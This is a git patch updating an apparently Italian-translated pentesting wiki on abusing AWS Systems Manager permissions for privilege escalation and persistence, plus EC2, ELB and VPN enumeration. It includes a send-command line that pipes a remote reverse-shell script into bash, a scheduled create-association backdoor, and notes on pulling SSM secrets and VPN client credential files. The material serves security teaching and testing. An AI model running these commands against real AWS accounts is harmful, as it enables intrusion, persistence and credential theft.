From f58c27fd1d538cfa7aacfe750b3496e857fddf83 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 06:56:40 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p --- src/SUMMARY.md | 2 +- ...-perssitence.md => aws-ssm-persistence.md} | 2 +- .../aws-ssm-privesc.md | 34 +++++++++++++------ .../README.md | 18 +++++++--- 4 files changed, 39 insertions(+), 17 deletions(-) rename src/pentesting-cloud/aws-security/aws-persistence/{aws-ssm-perssitence.md => aws-ssm-persistence.md} (76%) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 582319269..f61a27c2f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -230,7 +230,7 @@ - [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md) - [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md) - [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md) - - [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md) + - [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md) - [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md) - [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md) - [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md similarity index 76% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md index 8d79c4c33..818e7dce6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### Utilizzando ssm:CreateAssociation per la persistenza -Un attaccante con il permesso ssm:CreateAssociation può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive. +Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a una backdoor senza sessioni interattive. ```bash aws ssm create-association \ --name SSM-Document-Name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 9e5a72808..247f44b67 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -12,7 +12,7 @@ Per ulteriori informazioni su SSM controlla: ### `ssm:SendCommand` -Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** che vi opera all'interno. +Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** in esecuzione al suo interno. ```bash # Check for configured instances aws ssm describe-instance-information @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM attivi. +**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con SSM Agents attivi. ### `ssm:StartSession` -Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'agente Amazon SSM e **compromettere il ruolo IAM** in esecuzione al suo interno. +Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il Ruolo IAM** in esecuzione al suo interno. ```bash # Check for configured instances aws ssm describe-instance-information @@ -51,19 +51,19 @@ aws ssm start-session --target "$INSTANCE_ID" #### Privesc a ECS -Quando le **attività ECS** vengono eseguite con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\ +Quando i **compiti ECS** vengono eseguiti con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\ Secondo [**la documentazione**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), questo avviene creando un canale sicuro tra il dispositivo utilizzato per avviare il comando “_exec_” e il contenitore di destinazione con SSM Session Manager. (Plugin SSM Session Manager necessario affinché questo funzioni)\ -Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno delle attività ECS** con quell'opzione abilitata semplicemente eseguendo: +Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno dei compiti ECS** con quell'opzione abilitata semplicemente eseguendo: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM allegati ai task in esecuzione con `ExecuteCommand` abilitato. +**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM attaccati ai task in esecuzione con `ExecuteCommand` abilitato. ### `ssm:ResumeSession` -Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno. +Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH in istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse. +**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -Un attaccante con questo permesso può elencare tutti i **comandi** inviati e, si spera, trovare **informazioni sensibili** in essi. +Un attaccante con questo permesso può elencare tutti i **comandi** inviati e sperare di trovare **informazioni sensibili** in essi. ``` aws ssm list-commands ``` @@ -103,7 +103,21 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output dei comandi. +**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output delle righe di comando. + +### Utilizzando ssm:CreateAssociation + +Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (ad es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione. ### Codebuild diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 024216a9c..7a51816f6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -29,7 +29,7 @@ Cose interessanti da enumerare in EC2: ### Instance Profiles -Utilizzare **ruoli** per concedere permessi alle applicazioni che girano su **istanze EC2** richiede un po' di configurazione aggiuntiva. Un'applicazione in esecuzione su un'istanza EC2 è astratta da AWS dal sistema operativo virtualizzato. A causa di questa separazione aggiuntiva, è necessario un passaggio ulteriore per assegnare un ruolo AWS e i suoi permessi associati a un'istanza EC2 e renderli disponibili alle sue applicazioni. +Utilizzare **ruoli** per concedere permessi alle applicazioni che girano su **istanze EC2** richiede un po' di configurazione extra. Un'applicazione in esecuzione su un'istanza EC2 è astratta da AWS dal sistema operativo virtualizzato. A causa di questa separazione extra, è necessario un passaggio aggiuntivo per assegnare un ruolo AWS e i suoi permessi associati a un'istanza EC2 e renderli disponibili alle sue applicazioni. Questo passaggio extra è la **creazione di un** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) allegato all'istanza. Il **profilo dell'istanza contiene il ruolo e** può fornire le credenziali temporanee del ruolo a un'applicazione che gira sull'istanza. Queste credenziali temporanee possono quindi essere utilizzate nelle chiamate API dell'applicazione per accedere alle risorse e limitare l'accesso solo a quelle risorse specificate dal ruolo. Nota che **solo un ruolo può essere assegnato a un'istanza EC2** alla volta, e tutte le applicazioni sull'istanza condividono lo stesso ruolo e permessi. @@ -194,9 +194,17 @@ Nella pagina seguente puoi controllare come **abuse SSM permissions to escalate ../../aws-privilege-escalation/aws-ssm-privesc.md {{#endref}} +### Perssistence + +Nella pagina seguente puoi controllare come **abuse SSM permissions to achieve persistence**: + +{{#ref}} +../../aws-persistence/aws-ssm-persistence.md +{{#endref}} + ## ELB -**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automaticamente **distributes incoming application traffic** e scala le risorse per soddisfare le richieste di traffico. +**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB distribuisce automaticamente **incoming application traffic** e scala le risorse per soddisfare le richieste di traffico. ### Enumeration ```bash @@ -228,7 +236,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro è una suite di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta. +AWS Nitro è un insieme di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta. Ottieni ulteriori informazioni e come enumerarlo da: @@ -258,7 +266,7 @@ Una VPN consente di connettere la tua **rete on-premise (site-to-site VPN)** o i - Viene utilizzato per comunicazioni sicure, stabili e coerenti tra il tuo data center o rete e il tuo ambiente AWS. - Tipicamente utilizzato per connessioni regolari e a lungo termine e viene fatturato in base alla quantità di dati trasferiti attraverso la connessione. 4. **Client VPN Endpoint**: -- Un endpoint Client VPN è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client. +- Un Client VPN endpoint è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client. - Viene utilizzato per consentire a singoli dispositivi (come laptop, smartphone, ecc.) di connettersi in modo sicuro alle risorse AWS o alla tua rete on-premises. - Si differenzia dalla Site-to-Site VPN in quanto è progettato per clienti individuali piuttosto che per connettere intere reti. - Con Client VPN, ogni dispositivo client utilizza un software client VPN per stabilire una connessione sicura. @@ -293,7 +301,7 @@ aws ec2 describe-vpn-connections **Credenziali Temporanee Locali** -Quando si utilizza il Client VPN AWS per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per accedere alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**. +Quando il Client VPN AWS viene utilizzato per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per ottenere accesso alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**. Le credenziali appartengono all'utente `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: ricerca ulteriori informazioni sui permessi di queste credenziali).